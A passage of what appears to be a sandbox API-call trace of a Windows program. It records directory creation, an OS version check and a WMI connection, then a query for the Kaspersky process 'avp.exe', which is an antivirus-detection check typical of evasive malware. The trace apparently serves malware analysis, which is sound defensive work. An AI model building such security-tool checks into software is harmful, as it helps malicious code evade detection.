lpLocalFileTime=0x18f30c) returned 1 [0056.906] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0056.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f6c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0056.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f6c0, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=9 | out: lpWideCharStr="PerfLogs") returned 9 [0056.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x18f804, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData", lpUsedDefaultChar=0x0) returned 15 [0056.907] CreateDirectoryA (lpPathName="C:\\ProgramData" (normalized: "c:\\programdata"), lpSecurityAttributes=0x0) returned 0 [0056.907] GetLastError () returned 0xb7 [0056.907] GetLastError () returned 0xb7 [0056.907] SetLastError (dwErrCode=0xb7) [0056.907] GetLastError () returned 0xb7 [0056.907] SetLastError (dwErrCode=0xb7) [0056.907] GetLastError () returned 0xb7 [0056.907] SetLastError (dwErrCode=0xb7) [0056.907] GetLastError () returned 0xb7 [0056.907] SetLastError (dwErrCode=0xb7) [0056.907] GetLastError () returned 0xb7 [0056.907] SetLastError (dwErrCode=0xb7) [0056.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0056.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0056.908] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18f7c0) [0056.908] RtlUnwind (TargetFrame=0x18f9c0, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0056.908] SetErrorMode (uMode=0x8001) returned 0x8001 [0056.908] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0056.908] SetErrorMode (uMode=0x8001) returned 0x8001 [0056.908] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExW") returned 0x76d41ae5 [0056.908] GetVersionExW (in: lpVersionInformation=0x18f8b0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18f8b0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.908] GetLastError () returned 0x0 [0056.909] CreateBindCtx (in: reserved=0x0, ppbc=0x18f8f8 | out: ppbc=0x18f8f8*=0x1431b30) returned 0x0 [0056.909] MkParseDisplayName (in: pbc=0x1431b30, szUserName="winmgmts:", pchEaten=0x18f8f4, ppmk=0x18f8fc | out: pchEaten=0x18f8f4, ppmk=0x18f8fc*=0x1441380) returned 0x0 [0056.926] malloc (_Size=0x80) returned 0x3924a8 [0056.926] DllGetClassObject (in: rclsid=0x143723c*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x18f510*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18ebc8 | out: ppv=0x18ebc8*=0x0) returned 0x80004002 [0056.926] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770810 [0056.927] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0056.927] DllGetClassObject (in: rclsid=0x143723c*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x7666ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18f6d0 | out: ppv=0x18f6d0*=0x3770810) returned 0x0 [0056.927] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770810 [0056.927] WinMGMTS:IClassFactory:CreateInstance (in: This=0x3770810, pUnkOuter=0x0, riid=0x7666f084*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f67c | out: ppvObject=0x18f67c*=0x3770850) returned 0x0 [0056.927] GetVersionExW (in: lpVersionInformation=0x18f4c8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7f, dwMinorVersion=0x36b7, dwBuildNumber=0x3, dwPlatformId=0x18f52c, szCSDVersion="塩盔\x08쀕") | out: lpVersionInformation=0x18f4c8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.927] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x18f4bc | out: phkResult=0x18f4bc*=0xf8) returned 0x0 [0056.928] RegQueryValueExW (in: hKey=0xf8, lpValueName="Default Impersonation Level", lpReserved=0x0, lpType=0x0, lpData=0x18f4c4, lpcbData=0x18f4c0*=0x4 | out: lpType=0x0, lpData=0x18f4c4*=0x3, lpcbData=0x18f4c0*=0x4) returned 0x0 [0056.928] RegCloseKey (hKey=0xf8) returned 0x0 [0056.928] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770828 [0056.928] GetSystemDirectoryW (in: lpBuffer=0x3770828, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0056.928] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll", hFile=0x0, dwFlags=0x0) returned 0x77710000 [0056.929] GetProcAddress (hModule=0x77710000, lpProcName="DuplicateTokenEx") returned 0x7771ca24 [0056.929] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0056.929] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770828 [0056.929] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770850 [0056.929] WinMGMTS:IUnknown:Release (This=0x3770810) returned 0x0 [0056.929] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0056.929] WinMGMTS:IParseDisplayName:ParseDisplayName (in: This=0x3770850, pbc=0x1431b30, pszDisplayName="winmgmts:", pchEaten=0x18f894, ppmkOut=0x18f898 | out: pchEaten=0x18f894*=0x9, ppmkOut=0x18f898*=0x1441380) returned 0x0 [0056.929] _wcsnicmp (_String1="winmgmts:", _String2="WINMGMTS:", _MaxCount=0x9) returned 0 [0056.929] IBindCtx:GetObjectParam (in: This=0x1431b30, pszKey="WmiObject", ppunk=0x18f79c | out: ppunk=0x18f79c*=0x0) returned 0x80004005 [0056.929] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770860 [0056.930] _wcsnicmp (_String1="", _String2="{", _MaxCount=0x1) returned -123 [0056.930] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770880 [0056.930] CoCreateInstance (in: rclsid=0x755e42b0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x755e42a0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x3770898 | out: ppv=0x3770898*=0x37708e8) returned 0x0 [0056.934] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x37708f8 [0056.934] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770960 [0056.934] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x37709c0 [0056.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0056.934] GetCurrentThreadId () returned 0x9ec [0056.934] _wcsnicmp (_String1="", _String2="[", _MaxCount=0x1) returned -91 [0056.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0056.934] GetCurrentThreadId () returned 0x9ec [0056.935] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x18f684 | out: phkResult=0x18f684*=0x100) returned 0x0 [0056.935] RegQueryValueExW (in: hKey=0x100, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x18f68c*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x18f68c*=0x16) returned 0x0 [0056.935] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x37709e0 [0056.935] RegQueryValueExW (in: hKey=0x100, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x37709e0, lpcbData=0x18f68c*=0x16 | out: lpType=0x0, lpData=0x37709e0*=0x72, lpcbData=0x18f68c*=0x16) returned 0x0 [0056.935] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770a00 [0056.935] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0056.935] RegCloseKey (hKey=0x100) returned 0x0 [0056.935] CoCreateInstance (in: rclsid=0x755e53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x755e50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x18f6b8 | out: ppv=0x18f6b8*=0x3770a20) returned 0x0 [0056.939] SysStringLen (param_1=".") returned 0x1 [0056.939] WbemDefPath:IWbemPath:SetServer (This=0x3770a20, Name=".") returned 0x0 [0056.939] CoCreateInstance (in: rclsid=0x755e53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x755e50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x18f670 | out: ppv=0x18f670*=0x3770ab8) returned 0x0 [0056.939] CoCreateInstance (in: rclsid=0x755e53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x755e50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x18f614 | out: ppv=0x18f614*=0x3770b50) returned 0x0 [0056.939] WbemDefPath:IWbemPath:SetText (This=0x3770b50, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0056.940] WbemDefPath:IUnknown:Release (This=0x3770b50) returned 0x0 [0056.940] SysStringLen (param_1="root\\cimv2") returned 0xa [0056.940] WbemDefPath:IWbemPath:SetText (This=0x3770ab8, uMode=0xc, pszPath="root\\cimv2") returned 0x0 [0056.940] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3770ab8, puCount=0x18f680 | out: puCount=0x18f680*=0x2) returned 0x0 [0056.940] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x3770a20) returned 0x0 [0056.940] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3770ab8, uIndex=0x0, puNameBufLength=0x18f648*=0x0, pName=0x0 | out: puNameBufLength=0x18f648*=0x5, pName=0x0) returned 0x0 [0056.940] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770b50 [0056.940] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3770ab8, uIndex=0x0, puNameBufLength=0x18f648*=0x5, pName="ಀͷÄͷ" | out: puNameBufLength=0x18f648*=0x5, pName="root") returned 0x0 [0056.940] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0056.940] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x3770a20, uIndex=0x0, pszName="root") returned 0x0 [0056.940] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3770ab8, uIndex=0x1, puNameBufLength=0x18f648*=0x0, pName=0x0 | out: puNameBufLength=0x18f648*=0x6, pName=0x0) returned 0x0 [0056.940] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770ce8 [0056.940] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3770ab8, uIndex=0x1, puNameBufLength=0x18f648*=0x6, pName="ÄͷÄͷ2" | out: puNameBufLength=0x18f648*=0x6, pName="cimv2") returned 0x0 [0056.940] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0056.940] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x3770a20, uIndex=0x1, pszName="cimv2") returned 0x0 [0056.940] WbemDefPath:IUnknown:Release (This=0x3770ab8) returned 0x0 [0056.940] WbemDefPath:IWbemPath:GetText (in: This=0x3770a20, lFlags=4, puBuffLength=0x18f69c*=0x0, pszText=0x0 | out: puBuffLength=0x18f69c*=0xf, pszText=0x0) returned 0x0 [0056.941] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770ab8 [0056.941] WbemDefPath:IWbemPath:GetText (in: This=0x3770a20, lFlags=4, puBuffLength=0x18f69c*=0xf, pszText="୰ͷৠͷ2" | out: puBuffLength=0x18f69c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0056.941] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0056.941] WbemDefPath:IUnknown:Release (This=0x3770a20) returned 0x0 [0056.941] WbemLocator:IWbemLocator:ConnectServer (in: This=0x37708e8, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x18f724 | out: ppNamespace=0x18f724*=0x377d194) returned 0x0 [0057.227] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377c898 [0057.227] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377d1a8 [0057.227] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377d208 [0057.227] WbemLocator:IUnknown:QueryInterface (in: This=0x377d194, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f5f4 | out: ppvObject=0x18f5f4*=0x1448bac) returned 0x0 [0057.227] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1448bac, pProxy=0x377d194, pAuthnSvc=0x18f5e4, pAuthzSvc=0x18f5e8, pServerPrincName=0x0, pAuthnLevel=0x18f610, pImpLevel=0x18f60c, pAuthInfo=0x0, pCapabilites=0x18f5fc | out: pAuthnSvc=0x18f5e4*=0xa, pAuthzSvc=0x18f5e8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18f610*=0x6, pImpLevel=0x18f60c*=0x2, pAuthInfo=0x0, pCapabilites=0x18f5fc*=0x1) returned 0x0 [0057.227] WbemLocator:IUnknown:Release (This=0x1448bac) returned 0x1 [0057.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0057.228] GetCurrentThreadId () returned 0x9ec [0057.228] WbemLocator:IUnknown:QueryInterface (in: This=0x377d194, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f624 | out: ppvObject=0x18f624*=0x1448bac) returned 0x0 [0057.228] WbemLocator:IClientSecurity:CopyProxy (in: This=0x1448bac, pProxy=0x377d194, ppCopy=0x18f628 | out: ppCopy=0x18f628*=0x377d304) returned 0x0 [0057.228] WbemLocator:IUnknown:QueryInterface (in: This=0x377d304, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f540 | out: ppvObject=0x18f540*=0x1448bac) returned 0x0 [0057.228] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1448bac, pProxy=0x377d304, pAuthnSvc=0x18f564, pAuthzSvc=0x18f554, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x18f564*=0xa, pAuthzSvc=0x18f554*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0057.228] WbemLocator:IUnknown:Release (This=0x1448bac) returned 0x3 [0057.228] WbemLocator:IUnknown:QueryInterface (in: This=0x377d304, riid=0x755e34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f518 | out: ppvObject=0x18f518*=0x1448bcc) returned 0x0 [0057.228] WbemLocator:IUnknown:QueryInterface (in: This=0x377d304, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f51c | out: ppvObject=0x18f51c*=0x1448bac) returned 0x0 [0057.229] WbemLocator:IClientSecurity:SetBlanket (This=0x1448bac, pProxy=0x377d304, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0057.229] WbemLocator:IUnknown:Release (This=0x1448bac) returned 0x4 [0057.229] WbemLocator:IUnknown:Release (This=0x1448bcc) returned 0x3 [0057.229] WbemLocator:IUnknown:Release (This=0x1448bac) returned 0x2 [0057.229] WbemLocator:IUnknown:AddRef (This=0x377d304) returned 0x3 [0057.229] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377d318 [0057.229] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377c968 [0057.230] WbemLocator:IUnknown:Release (This=0x377d194) returned 0x2 [0057.230] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0057.230] GetCurrentThreadId () returned 0x9ec [0057.230] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0057.230] GetCurrentThreadId () returned 0x9ec [0057.230] WbemLocator:IUnknown:QueryInterface (in: This=0x377d304, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f6e8 | out: ppvObject=0x18f6e8*=0x1448bac) returned 0x0 [0057.230] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1448bac, pProxy=0x377d304, pAuthnSvc=0x18f6d8, pAuthzSvc=0x18f6dc, pServerPrincName=0x0, pAuthnLevel=0x18f708, pImpLevel=0x18f70c, pAuthInfo=0x0, pCapabilites=0x18f6f0 | out: pAuthnSvc=0x18f6d8*=0xa, pAuthzSvc=0x18f6dc*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18f708*=0x6, pImpLevel=0x18f70c*=0x3, pAuthInfo=0x0, pCapabilites=0x18f6f0*=0x20) returned 0x0 [0057.230] WbemLocator:IUnknown:Release (This=0x1448bac) returned 0x2 [0057.230] CreatePointerMoniker (in: punk=0x377c898, ppmk=0x18f898 | out: ppmk=0x18f898*=0x1441380) returned 0x0 [0057.230] IUnknown:AddRef (This=0x377c898) returned 0x2 [0057.231] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.231] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.231] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.231] WbemLocator:IUnknown:Release (This=0x37708e8) returned 0x0 [0057.231] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.231] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.231] WinMGMTS:IUnknown:Release (This=0x3770850) returned 0x0 [0057.231] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0057.232] IUnknown:Release (This=0x1431b30) returned 0x0 [0057.232] BindMoniker (in: pmk=0x1441380, grfOpt=0x0, iidResult=0x7295a460*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x18f910 | out: ppvResult=0x18f910*=0x377c898) returned 0x0 [0057.232] IUnknown:QueryInterface (in: This=0x377c898, riid=0x7295a460*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f910 | out: ppvObject=0x18f910*=0x377c898) returned 0x0 [0057.232] IUnknown:Release (This=0x1441380) returned 0x0 [0057.232] IUnknown:Release (This=0x377c898) returned 0x1 [0057.232] LoadRegTypeLib (in: rguid=0x755e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x18f844*=0x0 | out: pptlib=0x18f844*=0x144bd10) returned 0x0 [0057.247] ITypeLib:GetTypeInfoOfGuid (in: This=0x144bd10, GUID=0x377c8cc*(Data1=0xd2f68443, Data2=0x85dc, Data3=0x427e, Data4=([0]=0x91, [1]=0xd8, [2]=0x36, [3]=0x65, [4]=0x54, [5]=0xcc, [6]=0x75, [7]=0x4c)), ppTInfo=0x377c8c0 | out: ppTInfo=0x377c8c0*=0x144d764) returned 0x0 [0057.248] IUnknown:Release (This=0x144bd10) returned 0x1 [0057.248] IUnknown:AddRef (This=0x144d764) returned 0x2 [0057.248] DispGetIDsOfNames (in: ptinfo=0x144d764, rgszNames=0x18f8a0*="ExecQuery", cNames=0x1, rgdispid=0x18f8a4 | out: rgdispid=0x18f8a4*=9) returned 0x0 [0057.248] IUnknown:Release (This=0x144d764) returned 0x1 [0057.248] IUnknown:AddRef (This=0x144d764) returned 0x2 [0057.248] ITypeInfo:LocalInvoke (This=0x144d764) returned 0x0 [0057.248] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0057.249] GetCurrentThreadId () returned 0x9ec [0057.249] WbemLocator:IUnknown:AddRef (This=0x377d304) returned 0x3 [0057.249] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0057.249] GetCurrentThreadId () returned 0x9ec [0057.249] IWbemServices:ExecQuery (in: This=0x377d304, strQueryLanguage="WQL", strQuery="SELECT Name FROM Win32_Process WHERE Name='avp.exe'", lFlags=272, pCtx=0x0, ppEnum=0x18f614 | out: ppEnum=0x18f614*=0x37708dc) returned 0x0 [0057.304] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770918 [0057.304] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770978 [0057.304] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377d378 [0057.304] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377c9a8 [0057.304] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377d3d8 [0057.304] IUnknown:QueryInterface (in: This=0x37708dc, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f52c | out: ppvObject=0x18f52c*=0x37708e0) returned 0x0 [0057.305] IClientSecurity:QueryBlanket (in: This=0x37708e0, pProxy=0x37708dc, pAuthnSvc=0x18f51c, pAuthzSvc=0x18f520, pServerPrincName=0x0, pAuthnLevel=0x18f548, pImpLevel=0x18f544, pAuthInfo=0x0, pCapabilites=0x18f534 | out: pAuthnSvc=0x18f51c*=0xa, pAuthzSvc=0x18f520*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18f548*=0x6, pImpLevel=0x18f544*=0x2, pAuthInfo=0x0, pCapabilites=0x18f534*=0x1) returned 0x0 [0057.305] IUnknown:Release (This=0x37708e0) returned 0x1 [0057.305] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0057.305] GetCurrentThreadId () returned 0x9ec [0057.305] WbemLocator:IUnknown:QueryInterface (in: This=0x377d304, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f510 | out: ppvObject=0x18f510*=0x1448bac) returned 0x0 [0057.305] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1448bac, pProxy=0x377d304, pAuthnSvc=0x18f500, pAuthzSvc=0x18f504, pServerPrincName=0x0, pAuthnLevel=0x18f530, pImpLevel=0x18f534, pAuthInfo=0x0, pCapabilites=0x18f518 | out: pAuthnSvc=0x18f500*=0xa, pAuthzSvc=0x18f504*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18f530*=0x6, pImpLevel=0x18f534*=0x3, pAuthInfo=0x0, pCapabilites=0x18f518*=0x20) returned 0x0 [0057.305] WbemLocator:IUnknown:Release (This=0x1448bac) returned 0x3 [0057.305] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0057.305] GetCurrentThreadId () returned 0x9ec [0057.305] WbemLocator:IUnknown:QueryInterface (in: This=0x377d304, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f510 | out: ppvObject=0x18f510*=0x1448bac) returned 0x0 [0057.305] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1448bac, pProxy=0x377d304, pAuthnSvc=0x18f500, pAuthzSvc=0x18f504, pServerPrincName=0x0, pAuthnLevel=0x18f534, pImpLevel=0x18f530, pAuthInfo=0x0, pCapabilites=0x18f518 | out: pAuthnSvc=0x18f500*=0xa, pAuthzSvc=0x18f504*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18f534*=0x6, pImpLevel=0x18f530*=0x3, pAuthInfo=0x0, pCapabilites=0x18f518*=0x20) returned 0x0 [0057.305] WbemLocator:IUnknown:Release (This=0x1448bac) returned 0x3 [0057.305] IUnknown:QueryInterface (in: This=0x37708dc, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f55c | out: ppvObject=0x18f55c*=0x37708e0) returned 0x0 [0057.306] IClientSecurity:CopyProxy (in: This=0x37708e0, pProxy=0x37708dc, ppCopy=0x18f560 | out: ppCopy=0x18f560*=0x377d51c) returned 0x0 [0057.306] IUnknown:QueryInterface (in: This=0x377d51c, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, 